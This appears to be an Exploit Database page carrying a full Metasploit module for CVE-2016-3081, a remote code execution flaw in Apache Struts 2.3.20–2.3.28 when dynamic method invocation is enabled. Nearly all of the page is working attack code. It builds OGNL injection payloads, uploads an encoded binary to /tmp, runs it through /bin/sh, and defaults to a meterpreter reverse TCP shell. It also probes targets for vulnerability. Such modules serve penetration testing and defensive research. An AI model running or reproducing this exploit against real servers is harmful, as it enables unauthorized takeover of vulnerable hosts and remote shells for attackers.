Apache Struts – Dynamic Method Invocation Remote Code Execution (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2016-05-02
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/39756/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
  'Description'=> %q{
  This module exploits a remote command execution vulnerability in Apache Struts
  version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
  Execution can be performed via method: prefix when Dynamic Method Invocation
  is enabled.
  },
  'Author' => [ 'Nixawk' ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2016-3081' ],
  [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
  ],
  'Platform' => %w{ linux },
  'Privileged' => true,
  'DefaultOptions' => {
  'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp_uuid'
  },
  'Targets'=>
  [
  ['Linux Universal',
  {
  'Arch' => ARCH_X86,
  'Platform' => 'linux'
  }
  ]
  ],
  'DisclosureDate' => 'Apr 27 2016',
  'DefaultTarget' => 0))
  
  register_options(
  [
  Opt::RPORT(8080),
  OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
  OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
  ], self.class)
  end
  
  def print_status(msg='')
  super("#{peer} - #{msg}")
  end
  
  def send_http_request(payload)
  uri = normalize_uri(datastore['TARGETURI'])
  res = send_request_cgi(
  'uri' => "#{uri}#{payload}",
  'method'=> 'POST')
  if res && res.code == 404
  fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
  end
  res
  end
  
  def parameterize(params) # params is a hash
  URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&'))
  end
  
  def generate_rce_payload(code, params_hash)
  payload = "?method:"
  payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
  payload << ","
  payload << Rex::Text.uri_encode(code)
  payload << ","
  payload << Rex::Text.uri_encode("1?#xx:#request.toString")
  payload << "&"
  payload << parameterize(params_hash)
  payload
  end
  
  def temp_path
  @TMPPATH ||= lambda {
  path = datastore['TMPPATH']
  return nil unless path
  unless path.end_with?('/')
  path << '/'
  end
  return path
  }.call
  end
  
  def upload_file(filename, content)
  var_a = rand_text_alpha_lower(4)
  var_b = rand_text_alpha_lower(4)
  var_c = rand_text_alpha_lower(4)
  var_d = rand_text_alpha_lower(4)
  
  code = "##{var_a}=new sun.misc.BASE64Decoder(),"
  code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0]))),"
  code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])),"
  code << "##{var_b}.close()"
  
  params_hash = { var_c => filename, var_d => content }
  payload = generate_rce_payload(code, params_hash)
  
  send_http_request(payload)
  end
  
  def execute_command(cmd)
  var_a = rand_text_alpha_lower(4)
  var_b = rand_text_alpha_lower(4)
  var_c = rand_text_alpha_lower(4)
  var_d = rand_text_alpha_lower(4)
  var_e = rand_text_alpha_lower(4)
  var_f = rand_text_alpha_lower(4)
  
  code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream(),"
  code << "##{var_b}=new java.io.InputStreamReader(##{var_a}),"
  code << "##{var_c}=new java.io.BufferedReader(##{var_b}),"
  code << "##{var_d}=new char[1024],"
  code << "##{var_c}.read(##{var_d}),"
  
  code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
  code << "##{var_e}.println(##{var_d}),"
  code << "##{var_e}.close()"
  
  cmd.tr!(' ', '+') if cmd && cmd.include?(' ')
  params_hash = { var_f => cmd }
  payload = generate_rce_payload(code, params_hash)
  
  send_http_request(payload)
  end
  
  def linux_stager
  payload_exe = rand_text_alphanumeric(4 + rand(4))
  path = temp_path || '/tmp/'
  payload_exe = "#{path}#{payload_exe}"
  
  b64_filename = Rex::Text.encode_base64(payload_exe)
  b64_content = Rex::Text.encode_base64(generate_payload_exe)
  
  print_status("Uploading exploit to #{payload_exe}")
  upload_file(b64_filename, b64_content)
  
  print_status("Attempting to execute the payload...")
  execute_command("chmod 700 #{payload_exe}")
  execute_command("/bin/sh -c #{payload_exe}")
  end
  
  def exploit
  linux_stager
  end
  
  def check
  var_a = rand_text_alpha_lower(4)
  var_b = rand_text_alpha_lower(4)
  
  addend_one = rand_text_numeric(rand(3) + 1).to_i
  addend_two = rand_text_numeric(rand(3) + 1).to_i
  sum = addend_one + addend_two
  flag = Rex::Text.rand_text_alpha(5)
  
  code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
  code << "##{var_a}.print(#parameters.#{var_b}[0]),"
  code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
  code << "##{var_a}.print(#parameters.#{var_b}[0]),"
  code << "##{var_a}.close()"
  
  params_hash = { var_b => flag }
  payload = generate_rce_payload(code, params_hash)
  
  begin
  resp = send_http_request(payload)
  rescue Msf::Exploit::Failed
  return Exploit::CheckCode::Unknown
  end
  
  if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
  Exploit::CheckCode::Vulnerable
  else
  Exploit::CheckCode::Safe
  end
  end
  
  end